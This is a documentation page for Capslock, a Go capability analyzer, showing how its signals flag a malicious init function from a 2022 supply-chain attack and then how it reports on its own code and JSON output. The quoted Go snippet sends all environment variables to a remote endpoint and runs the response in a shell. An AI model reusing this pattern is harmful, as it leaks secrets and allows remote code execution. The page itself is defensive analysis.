github.com/google/capslock@v0.2.3-0.20240517042941-dac19fc347c0/docs/examples.md (about) 1 ## Examples 2 3 ### Capabilities in supply chain attacks 4 5 In August 2022, an attempted supply chain attack cloned thousands of GitHub 6 repos, adding a malicious payload that appeared to exfiltrate user information 7 and run an external script. Based on the code snippets available, we can test 8 what the Capslock analyzer would identify as the capabilities of this code. 9 10 As an example, Go packages were typically modified to add the following `init` 11 statement: 12 13 ``` 14 func init() { 15 if os.Getenv("example") == "1" { 16 return 17 } 18 os.Setenv("example", "1") 19 env, err := json.Marshal(os.Environ()) 20 if err != nil { 21 return 22 } 23 res, err := http.Post("", "application/json", bytes.NewBuffer(env)) 24 if err != nil { 25 return 26 } 27 defer res.Body.Close() 28 body, err := ioutil.ReadAll(res.Body) 29 if err != nil { 30 return 31 } 32 if string(body) != "" { 33 exec.Command("/bin/sh", "-c", string(body)).Start() 34 } 35 } 36 ``` 37 38 This would be easily identified by a human reviewer - but with thousands of 39 lines to review in any potential dependency this sort of thing is easily missed. 40 Capability signals can help direct reviewer attention to functions of higher 41 criticality by calling out where privileged operations are likely to be 42 performed. 43 44 With just this init function alone, we get the following capabilities: 45 46 ``` 47 CAPABILITY_EXEC: 1 calls 48 CAPABILITY_FILES: 1 calls 49 CAPABILITY_MODIFY_SYSTEM_STATE: 2 calls 50 CAPABILITY_NETWORK: 1 calls 51 CAPABILITY_OPERATING_SYSTEM: 1 calls 52 CAPABILITY_READ_SYSTEM_STATE: 1 calls 53 CAPABILITY_REFLECT: 1 calls 54 CAPABILITY_UNANALYZED: 1 calls 55 ``` 56 57 This is a lot of capabilities for such a small function, and some of these would 58 warrant attention. Once a reviewer is aware that this code requires 59 attention, the issues with it would be immediately obvious. 60 61 ### Running Capslock on Capslock 62 63 As an example of how to interpret capability signals that are not malicious, the analysis for 64 the Capslock package identifies the following capability calls: 65 66 ``` 67 CAPABILITY_EXEC: 1 calls 68 CAPABILITY_FILES: 2 calls 69 CAPABILITY_OPERATING_SYSTEM: 1 calls 70 CAPABILITY_READ_SYSTEM_STATE: 2 calls 71 CAPABILITY_REFLECT: 2 calls 72 CAPABILITY_UNANALYZED: 2 calls 73 CAPABILITY_UNSAFE_POINTER: 2 calls 74 ``` 75 76 That seems like a lot! We can look further into each of these capability by 77 calling Capslock with the verbose flag `-v`. To begin with we can look into the 78 `exec` capability: 79 80 ``` 81 CAPABILITY_EXEC: 1 calls 82 0 direct, 1 transitive 83 Example callpath: capslock/cmd/capslock.main capslock/analyzer.LoadPackages golang.org/x/tools/go/packages.Load golang.org/x/tools/go/packages.defaultDriver golang.org/x/tools/go/packages.findExternalDriver$1 (*os/exec.Cmd).Run 84 ``` 85 86 That isn't particularly surprising - when the CLI call the Go packages driver to 87 load the given package for analysis, this package uses a transitive call to `os/exec`. 88 As an example of a capability that is a bit more 89 unexpected, let's check on where calls to `CAPABILITY_OPERATING_SYSTEM` are coming from. 90 91 ``` 92 CAPABILITY_OPERATING_SYSTEM: 1 calls 93 0 direct, 1 transitive 94 Example callpath: capslock/cmd/capslock.main capslock/analyzer.LoadPackages golang.org/x/tools/go/packages.Load golang.org/x/tools/go/packages.defaultDriver golang.org/x/tools/go/packages.goListDriver golang.org/x/tools/go/packages.goListDriver$1 golang.org/x/tools/go/internal/packagesdriver.GetSizesGolist (*golang.org/x/tools/internal/gocommand.Runner).RunRaw (*golang.org/x/tools/internal/gocommand.Runner).runConcurrent (*golang.org/x/tools/internal/gocommand.Invocation).runWithFriendlyError (*golang.org/x/tools/internal/gocommand.Invocation).run golang.org/x/tools/internal/gocommand.runCmdContext (*os.Process).Kill 95 ``` 96 97 Looks like this capability is due to calls via the `protobuf` library. That 98 isn't particularly surprising, and is fairly necessary for this package. This is 99 an example of how even capabilities that aren't intuitive are not necessarily 100 something to be avoided. But by reviewing what our code is really doing we can 101 reassure ourselves that nothing concerning is present in our dependencies. 102 103 104 105 106 ### Machine-readable outputs 107 108 There are two types of machine readable outputs produced by Capslock: 109 110 * JSON, by using -output=j or -output=json 111 * A list of capability types, from -output=m 112 113 114 The key details in the JSON output are in the CapabilityInfo repeated field, 115 which is represented as a protocol buffer in the analyzer. This proto has the 116 following format: 117 118 ``` 119 message CapabilityInfo { 120 // The name of the package. 121 optional string package_name = 1; 122 // Name associated with this capability. 123 optional Capability capability = 2; 124 // The dependency path to where the capability is incurred. 125 optional string dep_path = 3; 126 // The dependency path to where the capability is incurred. 127 // Each element is a single function or method. 128 repeated Function path = 6; 129 // The location of the package. 130 optional string package_dir = 4; 131 // Classification of how the capability was incurred. 132 optional CapabilityType capability_type = 5; 133 } 134 ``` 135 136 As an example, we have the following capability in the JSON output when 137 analyzing the Capslock package: 138 139 ``` 140 { 141 "packageName": "main", 142 "capability": "CAPABILITY_EXEC", 143 "depPath": "capslock/cmd/capslock.main capslock/analyzer.LoadPackages golang.org/x/tools/go/packages.Load golang.org/x/tools/go/packages.defaultDriver golang.org/x/tools/go/packages.findExternalDriver$1 (*os/exec.Cmd).Run", 144 "path": [ 145 { 146 "name": "capslock/cmd/capslock.main" 147 }, 148 { 149 "name": "capslock/analyzer.LoadPackages", 150 "site": { 151 "filename": "capslock.go", 152 "line": "38", 153 "column": "31" 154 } 155 }, 156 { 157 "name": "golang.org/x/tools/go/packages.Load", 158 "site": { 159 "filename": "load.go", 160 "line": "78", 161 "column": "28" 162 } 163 }, 164 { 165 "name": "golang.org/x/tools/go/packages.defaultDriver", 166 "site": { 167 "filename": "packages.go", 168 "line": "261", 169 "column": "32" 170 } 171 }, 172 { 173 "name": "golang.org/x/tools/go/packages.findExternalDriver$1", 174 "site": { 175 "filename": "packages.go", 176 "line": "278", 177 "column": "25" 178 } 179 }, 180 { 181 "name": "(*os/exec.Cmd).Run", 182 "site": { 183 "filename": "external.go", 184 "line": "88", 185 "column": "20" 186 } 187 } 188 ], 189 "packageDir": "capslock/cmd/capslock", 190 "capabilityType": "CAPABILITY_TYPE_TRANSITIVE" 191 }, 192 ``` 193 194 Another important part of the JSON output is the moduleInfo section, which 195 includes the versions of the packages that were build in order to make the 196 analysis reproducible. 197 198 ``` 199 "moduleInfo": [ 200 { 201 "path": "golang.org/x/mod", 202 "version": "v0.10.0" 203 }, 204 { 205 "path": "golang.org/x/sys", 206 "version": "v0.8.0" 207 }, 208 { 209 "path": "golang.org/x/tools", 210 "version": "v0.9.3" 211 }, 212 { 213 "path": "google.golang.org/protobuf", 214 "version": "v1.28.1" 215 }, 216 ] 217 ```